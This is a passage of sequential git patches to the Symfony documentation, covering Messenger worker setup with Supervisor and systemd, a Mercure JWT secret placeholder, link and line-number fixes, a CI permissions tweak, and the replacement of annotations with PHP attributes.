-    parameters to string values. To set parameters to other data types
-    (e.g. boolean, integer, etc), the other loaders are recommended.
-    
 Loaders populate the application's configuration from different sources
 like YAML files. The Config component defines the interface for such
 loaders. The :doc:`Dependency Injection </components/dependency_injection>`

From 1d5d3d27de0287693b6741b7efd63f4ebbfc7c12 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 20 Jun 2022 18:46:54 +0200
Subject: [PATCH 3645/7107] Changing `monolog.logger` to `logger`

---
 service_container.rst | 20 +++++++++++---------
 1 file changed, 11 insertions(+), 9 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index b976736f9d6..9d16808f6ca 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -57,19 +57,21 @@ What other services are available? Find out by running:
 
       # this is just a *small* sample of the output...
 
-      Describes a logger instance.
-      Psr\Log\LoggerInterface (monolog.logger)
+      Autowirable Types
+      =================
 
-      Request stack that controls the lifecycle of requests.
-      Symfony\Component\HttpFoundation\RequestStack (request_stack)
+       The following classes & interfaces can be used as type-hints when autowiring:
 
-      Interface for the session.
-      Symfony\Component\HttpFoundation\Session\SessionInterface (session)
+       Describes a logger instance.
+       Psr\Log\LoggerInterface (logger)
 
-      RouterInterface is the interface that all Router classes must implement.
-      Symfony\Component\Routing\RouterInterface (router.default)
+       Request stack that controls the lifecycle of requests.
+       Symfony\Component\HttpFoundation\RequestStack (request_stack)
 
-      [...]
+       RouterInterface is the interface that all Router classes must implement.
+       Symfony\Component\Routing\RouterInterface (router.default)
+
+       [...]
 
 When you use these type-hints in your controller methods or inside your
 :ref:`own services <service-container-creating-service>`, Symfony will automatically

From 212e979d84d592ce49967d5af67affdf046a2e95 Mon Sep 17 00:00:00 2001
From: Guilherme Ferreira <guilhermeaferreira_t@yahoo.com.br>
Date: Mon, 5 Sep 2022 20:37:19 +0200
Subject: [PATCH 3646/7107] Proper line numbers on Doctrine Persisting example

Fixing the lines references for the Doctrine Persisting Object example.
---
 doctrine.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index c821a5dff22..c7c5fb86b80 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -394,21 +394,21 @@ Take a look at the previous example in more detail:
 
 .. _doctrine-entity-manager:
 
-* **line 14** The ``ManagerRegistry $doctrine`` argument tells Symfony to
+* **line 13** The ``ManagerRegistry $doctrine`` argument tells Symfony to
   :ref:`inject the Doctrine service <services-constructor-injection>` into the
   controller method.
 
-* **line 16** The ``$doctrine->getManager()`` method gets Doctrine's
+* **line 15** The ``$doctrine->getManager()`` method gets Doctrine's
   *entity manager* object, which is the most important object in Doctrine. It's
   responsible for saving objects to, and fetching objects from, the database.
 
-* **lines 18-21** In this section, you instantiate and work with the ``$product``
+* **lines 17-20** In this section, you instantiate and work with the ``$product``
   object like any other normal PHP object.
 
-* **line 24** The ``persist($product)`` call tells Doctrine to "manage" the
+* **line 23** The ``persist($product)`` call tells Doctrine to "manage" the
   ``$product`` object. This does **not** cause a query to be made to the database.
 
-* **line 27** When the ``flush()`` method is called, Doctrine looks through
+* **line 26** When the ``flush()`` method is called, Doctrine looks through
   all of the objects that it's managing to see if they need to be persisted
   to the database. In this example, the ``$product`` object's data doesn't
   exist in the database, so the entity manager executes an ``INSERT`` query,

From 4046869d140d53b7109e464181cf42377cd7e395 Mon Sep 17 00:00:00 2001
From: Luca Lorenzini <1146449+b1n01@users.noreply.github.com>
Date: Tue, 6 Sep 2022 11:43:54 +0200
Subject: [PATCH 3647/7107] Updated SymfonyCloud link

Fixing the URL to the SymfonyCloud environment variables documentation page
---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index dfc5eb8a9ac..e7f2680e917 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -955,4 +955,4 @@ And all the other topics related to configuration:
 .. _`Learn the XML syntax`: https://en.wikipedia.org/wiki/XML
 .. _`environment variables`: https://en.wikipedia.org/wiki/Environment_variable
 .. _`symbolic links`: https://en.wikipedia.org/wiki/Symbolic_link
-.. _`utilities to manage env vars`: https://symfony.com/doc/master/cloud/cookbooks/env.html
+.. _`utilities to manage env vars`: https://symfony.com/doc/current/cloud/env.html

From 09fd70c00738bb65dc32b5e11c7774ff049e8b74 Mon Sep 17 00:00:00 2001
From: Tom Van Looy <tom@ctors.net>
Date: Mon, 27 Apr 2020 17:26:57 +0200
Subject: [PATCH 3648/7107] Messenger process managers

Add information about mysql timeouts, supervisor FATAL, systemd user services.
Add docs for #13617
---
 messenger.rst | 145 +++++++++++++++++++++++++++++++++++++++++++++++---
 1 file changed, 139 insertions(+), 6 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 0194b11fd11..f1b4b256aad 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -486,23 +486,30 @@ Deploying to Production
 
 On production, there are a few important things to think about:
 
-**Use Supervisor to keep your worker(s) running**
+**Use a Process Manager like Supervisor or systemd to keep your worker(s) running**
     You'll want one or more "workers" running at all times. To do that, use a
-    process control system like :ref:`Supervisor <messenger-supervisor>`.
+    process control system like :ref:`Supervisor <messenger-supervisor>`
+    or :ref:`systemd <messenger-systemd>`.
 
 **Don't Let Workers Run Forever**
     Some services (like Doctrine's ``EntityManager``) will consume more memory
     over time. So, instead of allowing your worker to run forever, use a flag
     like ``messenger:consume --limit=10`` to tell your worker to only handle 10
-    messages before exiting (then Supervisor will create a new process). There
+    messages before exiting (then the process manager will create a new process). There
     are also other options like ``--memory-limit=128M`` and ``--time-limit=3600``.
 
+**Stopping Workers That Encounter Errors**
+    If a worker dependency like your database server is down, or timeout is reached,
+    you can try to add :ref:`reconnect logic <middleware-doctrine>`, or just quit
+    the worker if it receives too many errors with the ``--failure-limit`` option of
+    the ``messenger:consume`` command.
+
 **Restart Workers on Deploy**
     Each time you deploy, you'll need to restart all your worker processes so
     that they see the newly deployed code. To do this, run ``messenger:stop-workers``
     on deployment. This will signal to each worker that it should finish the message
-    it's currently handling and should shut down gracefully. Then, Supervisor will create
-    new worker processes. The command uses the :ref:`app <cache-configuration-with-frameworkbundle>`
+    it's currently handling and should shut down gracefully. Then, the process manager
+    will create new worker processes. The command uses the :ref:`app <cache-configuration-with-frameworkbundle>`
     cache internally - so make sure this is configured to use an adapter you like.
 
 **Use the Same Cache Between Deploys**
@@ -695,8 +702,49 @@ Next, tell Supervisor to read your config and start your workers:
 
 See the `Supervisor docs`_ for more details.
 
+It is possible to end up in a situation where the supervisor job gets into a
+FATAL (too many start retries) state when trying to restart when something is
+not yet available. You can prevent this by wrapping the Symfony script with a
+shell script and sleep when the script fails:
+
+.. code-block:: bash
+
+    #!/usr/bin/env bash
+
+    # Supervisor sends TERM to services when stopped.
+    # This wrapper has to pass the signal to it's child.
+    # Note that we send TERM (graceful) instead of KILL (immediate).
+    _term() {
+        echo "[GOT TERM, SIGNALING CHILD]"
+        kill -TERM "$child" 2>/dev/null
+        exit 1
+    }
+
+    trap _term SIGTERM
+
+    # Execute console.php with whatever arguments were specified to this script
+    "$@" &
+    child=$!
+    wait "$child"
+    rc=$?
+
+    # Delay to prevent supervisor from restarting too fast on failure
+    sleep 30
+
+    # Return with the exit code of the wrapped process
+    exit $rc
+
+The supervisor job would then look like this:
+
+.. code-block:: ini
+
+    ;/etc/supervisor/conf.d/messenger-worker.conf
+    [program:messenger-consume]
+    command=/path/to/your/app/bin/console_wrapper php /path/to/your/app/bin/console messenger:consume async --time-limit=3600"
+    ...
+
 Graceful Shutdown
-~~~~~~~~~~~~~~~~~
+.................
 
 If you install the `PCNTL`_ PHP extension in your project, workers will handle
 the ``SIGTERM`` POSIX signal to finish processing their current message before
@@ -712,6 +760,88 @@ of the desired grace period in seconds) in order to perform a graceful shutdown:
     [program:x]
     stopwaitsecs=20
 
+.. _messenger-systemd:
+
+Systemd Configuration
+~~~~~~~~~~~~~~~~~~~~~
+
+While Supervisor is a great tool, it has the disadvantage that you need system
+access to run it. Systemd has become the standard on most Linux distributions,
+and has a good alternative called *user services*.
+
+Systemd user service configuration files typically live in a ``~/.config/systemd/user``
+directory. For example, you can create a new ``messenger-worker.service`` file. Or a
+``messenger-worker@.service`` file if you want more instances running at the same time:
+
+.. code-block:: ini
+
+    [Unit]
+    Description=Symfony messenger-consume %i
+
+    [Service]
+    ExecStart=php /path/to/your/app/bin/console messenger:consume async --time-limit=3600
+    Restart=always
+    RestartSec=30
+
+    [Install]
+    WantedBy=default.target
+
+Now, tell systemd to enable and start one worker:
+
+.. code-block:: terminal
+
+    $ systemctl --user enable messenger-worker@1.service
+    $ systemctl --user start messenger-worker@1.service
+
+    # to enable and start 20 workers
+    $ systemctl --user enable messenger-worker@{1..20}.service
+    $ systemctl --user start messenger-worker@{1..20}.service
+
+If you change your service config file, you need to reload the daemon:
+
+.. code-block:: terminal
+
+    $ systemctl --user daemon-reload
+
+To restart all your consumers:
+
+.. code-block:: terminal
+
+    $ systemctl --user restart messenger-consume@*.service
+
+The systemd user instance is only started after the first login of the
+particular user. Consumer often need to start on system boot instead.
+Enable lingering on the user to activate that behavior:
+
+.. code-block:: terminal
+
+    $ loginctl enable-linger <your-username>
+
+Logs are managed by journald and can be worked with using the journalctl
+command:
+
+.. code-block:: terminal
+
+    # follow logs of consumer nr 11
+    $ journalctl -f --user-unit messenger-consume@11.service
+
+    # follow logs of all consumers
+    $ journalctl -f --user-unit messenger-consume@*
+
+    # follow all logs from your user services
+    $ journalctl -f _UID=$UID
+
+See the `systemd docs`_ for more details.
+
+.. note::
+
+    You either need elevated privileges for the ``journalctl`` command, or add
+    your user to the systemd-journal group:
+
+    .. code-block:: terminal
+
+        $ sudo usermod -a -G systemd-journal <your-username>
+
 Stateless Worker
 ~~~~~~~~~~~~~~~~
 
@@ -2190,6 +2320,8 @@ middleware and *only* include your own:
     If a middleware service is abstract, a different instance of the service will
     be created per bus.
 
+.. _middleware-doctrine:
+
 Middleware for Doctrine
 ~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2377,6 +2509,7 @@ Learn more
 .. _`streams`: https://redis.io/topics/streams-intro
 .. _`Supervisor docs`: http://supervisord.org/
 .. _`PCNTL`: https://www.php.net/manual/book.pcntl.php
+.. _`systemd docs`: https://www.freedesktop.org/wiki/Software/systemd/
 .. _`SymfonyCasts' message serializer tutorial`: https://symfonycasts.com/screencast/messenger/transport-serializer
 .. _`Long polling`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-short-and-long-polling.html
 .. _`Visibility Timeout`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html

From 156058489891b657339b34310204f34bb0e17619 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 6 Sep 2022 17:28:42 +0200
Subject: [PATCH 3649/7107] Add documentation of Supervisor BACKOFF strategy

This feature seems to be the official way to handle delays in restart.
---
 messenger.rst | 55 +++++++++++++--------------------------------------
 1 file changed, 14 insertions(+), 41 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index f1b4b256aad..20f1136de94 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -676,11 +676,25 @@ times:
     startsecs=0
     autostart=true
     autorestart=true
+    startretries=10
     process_name=%(program_name)s_%(process_num)02d
 
 Change the ``async`` argument to use the name of your transport (or transports)
 and ``user`` to the Unix user on your server.
 
+.. caution::
+
+    During a deployment, something might be unavailable (e.g. the
+    database) causing the consumer to fail to start. In this situation,
+    Supervisor will try ``startretries`` number of times to restart the
+    command. Make sure to change this setting to avoid getting the command
+    in a FATAL state, which will never restart again.
+
+    Each restart, Supervisor increases the delay by 1 second. For instance, if
+    the value is ``10``, it will wait 1 sec, 2 sec, 3 sec, etc. This gives the
+    service a total of 55 seconds to become available again. Increase the
+    ``startretries`` setting to cover the maximum expected downtime.
+
 If you use the Redis Transport, note that each worker needs a unique consumer
 name to avoid the same message being handled by multiple workers. One way to
 achieve this is to set an environment variable in the Supervisor configuration
@@ -702,47 +716,6 @@ Next, tell Supervisor to read your config and start your workers:
 
 See the `Supervisor docs`_ for more details.
 
-It is possible to end up in a situation where the supervisor job gets into a
-FATAL (too many start retries) state when trying to restart when something is
-not yet available. You can prevent this by wrapping the Symfony script with a
-shell script and sleep when the script fails:
-
-.. code-block:: bash
-
-    #!/usr/bin/env bash
-
-    # Supervisor sends TERM to services when stopped.
-    # This wrapper has to pass the signal to it's child.
-    # Note that we send TERM (graceful) instead of KILL (immediate).
-    _term() {
-        echo "[GOT TERM, SIGNALING CHILD]"
-        kill -TERM "$child" 2>/dev/null
-        exit 1
-    }
-
-    trap _term SIGTERM
-
-    # Execute console.php with whatever arguments were specified to this script
-    "$@" &
-    child=$!
-    wait "$child"
-    rc=$?
-
-    # Delay to prevent supervisor from restarting too fast on failure
-    sleep 30
-
-    # Return with the exit code of the wrapped process
-    exit $rc
-
-The supervisor job would then look like this:
-
-.. code-block:: ini
-
-    ;/etc/supervisor/conf.d/messenger-worker.conf
-    [program:messenger-consume]
-    command=/path/to/your/app/bin/console_wrapper php /path/to/your/app/bin/console messenger:consume async --time-limit=3600"
-    ...
-
 Graceful Shutdown
 .................
 

From c62747f8c5350d6987dce6662deb9b9977633721 Mon Sep 17 00:00:00 2001
From: Alex <93376818+sashashura@users.noreply.github.com>
Date: Fri, 2 Sep 2022 17:11:39 +0100
Subject: [PATCH 3650/7107] Update ci.yaml

Signed-off-by: sashashura <93376818+sashashura@users.noreply.github.com>
---
 .github/workflows/ci.yaml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 87ccb0b1d75..73bbcca0235 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -8,6 +8,9 @@ on:
         branches-ignore:
             - 'github-comments'
 
+permissions:
+    contents: read
+
 jobs:
     symfony-docs-builder-build:
         name: Build (symfony-tools/docs-builder)

From d1f7cf49ce9f163eee77e23844097bce3f6735c1 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 13 Sep 2022 09:34:47 +0200
Subject: [PATCH 3651/7107] Removing heading

Doesn't make sense here - the first chapter doesn't have a sub-heading too.
Besides, "Template Modifications" sounds like it's about the following (which in fact is written way above):

 > If you want to customize the HTML code in the prototype, see...
---
 form/form_collections.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 89f079c944d..f5cef95ee95 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -539,8 +539,6 @@ Now, you need to put some code into the ``removeTag()`` method of ``Task``::
         }
     }
 
-Template Modifications
-~~~~~~~~~~~~~~~~~~~~~~
 
 The ``allow_delete`` option means that if an item of a collection
 isn't sent on submission, the related data is removed from the collection

From e6bdd5d518d86e298b1820824cd754468b5e7cf2 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 13 Sep 2022 09:41:52 +0200
Subject: [PATCH 3652/7107] Fixing path

All other code samples on this page are using `form/`
---
 form/form_themes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/form_themes.rst b/form/form_themes.rst
index 69a24a2adb0..c2dd3dca368 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -128,7 +128,7 @@ order is important, because each theme overrides all the previous ones):
     {# apply multiple form themes but only to the form of this template #}
     {% form_theme form with [
         'foundation_5_layout.html.twig',
-        'forms/my_custom_theme.html.twig'
+        'form/my_custom_theme.html.twig'
     ] %}
 
     {# ... #}

From 688b84ef59b91a8c084e36e161c6cd29c777a373 Mon Sep 17 00:00:00 2001
From: silverbackdan <daniel@silverback.is>
Date: Wed, 14 Sep 2022 09:09:14 +0100
Subject: [PATCH 3653/7107] Update mercure jwt default secret

---
 mercure.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 3bbdb38dce9..1e2ba726d9a 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -107,14 +107,14 @@ the publicly available URL (e.g. ``https://example.com/.well-known/mercure``).
 The clients must also bear a `JSON Web Token`_ (JWT)
 to the Mercure Hub to be authorized to publish updates and, sometimes, to subscribe.
 
-This token must be signed with the same secret key as the one used by the Hub to verify the JWT (``!ChangeMe!`` if you use the Docker integration).
+This token must be signed with the same secret key as the one used by the Hub to verify the JWT (``!ChangeThisMercureHubJWTSecretKey!`` if you use the Docker integration).
 This secret key must be stored in the ``MERCURE_JWT_SECRET`` environment variable.
 MercureBundle will use it to automatically generate and sign the needed JWTs.
 
 In addition to these environment variables,
 MercureBundle provides a more advanced configuration:
 
-* ``secret``: the key to use to sign the JWT (all other options, beside ``algorithm``, ``subscribe``, and ``publish`` will be ignored)
+* ``secret``: the key to use to sign the JWT - A key of the same size as the hash output (for instance, 256 bits for "HS256") or larger MUST be used. (all other options, beside ``algorithm``, ``subscribe``, and ``publish`` will be ignored)
 * ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when ``secret``, or ``factory`` are provided)
 * ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when ``secret``, or ``factory`` are provided)
 * ``algorithm``: The algorithm to use to sign the JWT (only usable when ``secret`` is provided)
@@ -132,7 +132,7 @@ MercureBundle provides a more advanced configuration:
                 default:
                     url: https://mercure-hub.example.com/.well-known/mercure
                     jwt:
-                        secret: '!ChangeMe!'
+                        secret: '!ChangeThisMercureHubJWTSecretKey!'
                         publish: ['foo', 'https://example.com/foo']
                         subscribe: ['bar', 'https://example.com/bar']
                         algorithm: 'hmac.sha256'
@@ -150,7 +150,7 @@ MercureBundle provides a more advanced configuration:
                 url="https://mercure-hub.example.com/.well-known/mercure"
             >
                 <jwt
-                    secret="!ChangeMe!"
+                    secret="!ChangeThisMercureHubJWTSecretKey!"
                     algorithm="hmac.sha256"
                     provider="My\Provider"
                     factory="My\Factory"
@@ -172,7 +172,7 @@ MercureBundle provides a more advanced configuration:
                 'default' => [
                     'url' => 'https://mercure-hub.example.com/.well-known/mercure',
                     'jwt' => [
-                        'secret' => '!ChangeMe!',
+                        'secret' => '!ChangeThisMercureHubJWTSecretKey!',
                         'publish' => ['foo', 'https://example.com/foo'],
                         'subscribe' => ['bar', 'https://example.com/bar'],
                         'algorithm' => 'hmac.sha256',

From 740e600968f2587139e224f2c21d601f13d6f471 Mon Sep 17 00:00:00 2001
From: Therage Kevin <35264408+ktherage@users.noreply.github.com>
Date: Thu, 8 Sep 2022 16:21:35 +0200
Subject: [PATCH 3654/7107] Fixing "HTML5 color format" link

The link https://www.w3.org/TR/html52/sec-forms.html#color-state-typecolor redirects to https://html.spec.whatwg.org/multipage/forms.html#color-state-typecolor which is bad, it's seems to be https://html.spec.whatwg.org/multipage/input.html#color-state-(type=color) now.
---
 reference/forms/types/color.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index 213c88323cc..72bfa0eff79 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -90,4 +90,4 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/trim.rst.inc
 
-.. _`HTML5 color format`: https://www.w3.org/TR/html52/sec-forms.html#color-state-typecolor
+.. _`HTML5 color format`: https://html.spec.whatwg.org/multipage/input.html#color-state-(type=color)

From 6c1567051e451071f3ee8660e1b01cfc1f67687f Mon Sep 17 00:00:00 2001
From: Romain Monteil <romain.monteil@pixine.fr>
Date: Wed, 24 Aug 2022 15:46:10 +0200
Subject: [PATCH 3655/7107] Replace remaining annotations with attributes,
 remove remaining annotations configuration block

---
 best_practices.rst                       |  11 ++-
 components/http_kernel.rst               |  10 +--
 components/serializer.rst                | 103 +----------------------
 contributing/documentation/standards.rst |   6 +-
 controller/argument_value_resolver.rst   |   8 +-
 reference/configuration/doctrine.rst     |   2 +-
 routing/routing_from_database.rst        |   4 +-
 security.rst                             |  25 ------
 service_container/autowiring.rst         |  40 ---------
 service_container/calls.rst              |   8 +-
 validation/custom_constraint.rst         |  31 -------
 11 files changed, 25 insertions(+), 223 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 859b203a24a..6be952c0a22 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -236,11 +236,11 @@ configuration. You don't need to browse several files created with different
 formats (YAML, XML, PHP): all the configuration is just where you need it and
 it only uses one format.
 
-Don't Use Annotations to Configure the Controller Template
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Don't Use Attributes to Configure the Controller Template
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``@Template`` annotation is useful, but also involves some *magic*.
-Moreover, most of the time ``@Template`` is used without any parameters, which
+The ``#[Template]`` attribute is useful, but also involves some *magic*.
+Moreover, most of the time ``#[Template]`` is used without any parameters, which
 makes it more difficult to know which template is being rendered. It also hides
 the fact that a controller should always return a ``Response`` object.
 
@@ -380,8 +380,7 @@ Use Voters to Implement Fine-grained Security Restrictions
 
 If your security logic is complex, you should create custom
 :doc:`security voters </security/voters>` instead of defining long expressions
-inside the ``#[Security]`` attribute (or in the ``@Security`` annotation if your
-PHP version doesn't support attributes yet).
+inside the ``#[Security]`` attribute.
 
 Web Assets
 ----------
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 52a0cee8332..d4c785ea6dc 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -302,7 +302,7 @@ on the event object that's passed to listeners on this event.
     the profiler is enabled.
 
     One interesting listener comes from the `SensioFrameworkExtraBundle`_. This
-    listener's `@ParamConverter`_ functionality allows you to pass a full object
+    listener's `#[ParamConverter]`_ functionality allows you to pass a full object
     (e.g. a ``Post`` object) to your controller instead of a scalar value (e.g.
     an ``id`` parameter that was on your route). The listener -
     ``ParamConverterListener`` - uses reflection to look at each of the
@@ -411,8 +411,8 @@ return a ``Response``.
 
     There is no default listener inside the Symfony Framework for the ``kernel.view``
     event. However, `SensioFrameworkExtraBundle`_ *does* add a listener to this
-    event. If your controller returns an array, and you place the `@Template`_
-    annotation above the controller, then this listener renders a template,
+    event. If your controller returns an array, and you place the `#[Template]`_
+    attribute above the controller, then this listener renders a template,
     passes the array you returned from your controller to that template, and
     creates a ``Response`` containing the returned content from that template.
 
@@ -750,6 +750,6 @@ Learn more
 .. _FOSRestBundle: https://github.com/friendsofsymfony/FOSRestBundle
 .. _`PHP FPM`: https://www.php.net/manual/en/install.fpm.php
 .. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
-.. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
-.. _`@Template`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/view.html
+.. _`#[ParamConverter]`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
+.. _`#[Template]`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/view.html
 .. _variadic: https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list
diff --git a/components/serializer.rst b/components/serializer.rst
index 3b5370cb5cb..53e1f1d7299 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -293,35 +293,6 @@ Then, create your groups definition:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        namespace Acme;
-
-        use Symfony\Component\Serializer\Annotation\Groups;
-
-        class MyObj
-        {
-            /**
-             * @Groups({"group1", "group2"})
-             */
-            public $foo;
-
-            /**
-             * @Groups({"group4"})
-             */
-            public $anotherProperty;
-
-            /**
-             * @Groups("group3")
-             */
-            public function getBar() // is* methods are also supported
-            {
-                return $this->bar;
-            }
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         namespace Acme;
@@ -467,22 +438,6 @@ Option 1: Using ``@Ignore`` Annotation
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        namespace App\Model;
-
-        use Symfony\Component\Serializer\Annotation\Ignore;
-
-        class MyClass
-        {
-            public $foo;
-
-            /**
-             * @Ignore()
-             */
-            public $bar;
-        }
-
     .. code-block:: php-attributes
 
         namespace App\Model;
@@ -697,27 +652,6 @@ defines a ``Person`` entity with a ``firstName`` property:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        namespace App\Entity;
-
-        use Symfony\Component\Serializer\Annotation\SerializedName;
-
-        class Person
-        {
-            /**
-             * @SerializedName("customer_name")
-             */
-            private $firstName;
-
-            public function __construct($firstName)
-            {
-                $this->firstName = $firstName;
-            }
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         namespace App\Entity;
@@ -1412,22 +1346,6 @@ Here, we set it to 2 for the ``$child`` property:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        namespace Acme;
-
-        use Symfony\Component\Serializer\Annotation\MaxDepth;
-
-        class MyObj
-        {
-            /**
-             * @MaxDepth(2)
-             */
-            public $child;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         namespace Acme;
@@ -1501,9 +1419,7 @@ having unique identifiers::
     {
         public $id;
 
-        /**
-         * @MaxDepth(1)
-         */
+        #[MaxDepth(1)]
         public $child;
     }
 
@@ -1735,23 +1651,6 @@ and ``BitBucketCodeRepository`` classes:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        namespace App;
-
-        use Symfony\Component\Serializer\Annotation\DiscriminatorMap;
-
-        /**
-         * @DiscriminatorMap(typeProperty="type", mapping={
-         *    "github"="App\GitHubCodeRepository",
-         *    "bitbucket"="App\BitBucketCodeRepository"
-         * })
-         */
-        abstract class CodeRepository
-        {
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         namespace App;
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 8e266f68cab..7372d7058b1 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -88,9 +88,9 @@ Configuration examples should show all supported formats using
 (and their orders) are:
 
 * **Configuration** (including services): YAML, XML, PHP
-* **Routing**: Annotations, YAML, XML, PHP
-* **Validation**: Annotations, YAML, XML, PHP
-* **Doctrine Mapping**: Annotations, YAML, XML, PHP
+* **Routing**: Attributes, YAML, XML, PHP
+* **Validation**: Attributes, YAML, XML, PHP
+* **Doctrine Mapping**: Attributes, YAML, XML, PHP
 * **Translation**: XML, YAML, PHP
 
 Example
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 2cea87964ab..95be321f7f2 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -81,8 +81,8 @@ with the ``User`` class::
         }
     }
 
-Beware that this feature is already provided by the `@ParamConverter`_
-annotation from the SensioFrameworkExtraBundle. If you have that bundle
+Beware that this feature is already provided by the `#[ParamConverter]`_
+attribute from the SensioFrameworkExtraBundle. If you have that bundle
 installed in your project, add this config to disable the auto-conversion of
 type-hinted method arguments:
 
@@ -253,7 +253,7 @@ To ensure your resolvers are added in the right position you can run the followi
 command to see which argument resolvers are present and in which order they run.
 
 .. code-block:: terminal
-    
+
     $ php bin/console debug:container debug.argument_resolver.inner --show-arguments
 
 .. tip::
@@ -267,5 +267,5 @@ command to see which argument resolvers are present and in which order they run.
     $user = null``). The ``DefaultValueResolver`` is executed as the last
     resolver and will use the default value if no value was already resolved.
 
-.. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
+.. _`#[ParamConverter]`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`yield`: https://www.php.net/manual/en/language.generators.syntax.php
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 53f98858d90..6c9d758bb18 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -310,7 +310,7 @@ to organize the application code.
 Custom Mapping Entities in a Bundle
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Doctrine's ``auto_mapping`` feature loads annotation configuration from
+Doctrine's ``auto_mapping`` feature loads attribute configuration from
 the ``Entity/`` directory of each bundle *and* looks for other formats (e.g.
 YAML, XML) in the ``Resources/config/doctrine`` directory.
 
diff --git a/routing/routing_from_database.rst b/routing/routing_from_database.rst
index 28d539a77f1..eca06dccdef 100644
--- a/routing/routing_from_database.rst
+++ b/routing/routing_from_database.rst
@@ -23,8 +23,8 @@ For these cases, the ``DynamicRouter`` offers an alternative approach:
 When all routes are known during deploy time and the number is not too
 high, using a :doc:`custom route loader <custom_route_loader>` is the
 preferred way to add more routes. When working with only one type of
-objects, a slug parameter on the object and the ``@ParamConverter``
-annotation works fine (see `FrameworkExtraBundle`_) .
+objects, a slug parameter on the object and the ``#[ParamConverter]``
+attribute works fine (see `FrameworkExtraBundle`_) .
 
 The ``DynamicRouter`` is useful when you need ``Route`` objects with
 the full feature set of Symfony. Each route can define a specific
diff --git a/security.rst b/security.rst
index 005b0781b32..10466a8c067 100644
--- a/security.rst
+++ b/security.rst
@@ -2131,31 +2131,6 @@ using annotations:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/AdminController.php
-        // ...
-
-        use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
-
-        /**
-         * Require ROLE_ADMIN for all the actions of this controller
-         *
-         * @IsGranted("ROLE_ADMIN")
-         */
-        class AdminController extends AbstractController
-        {
-            /**
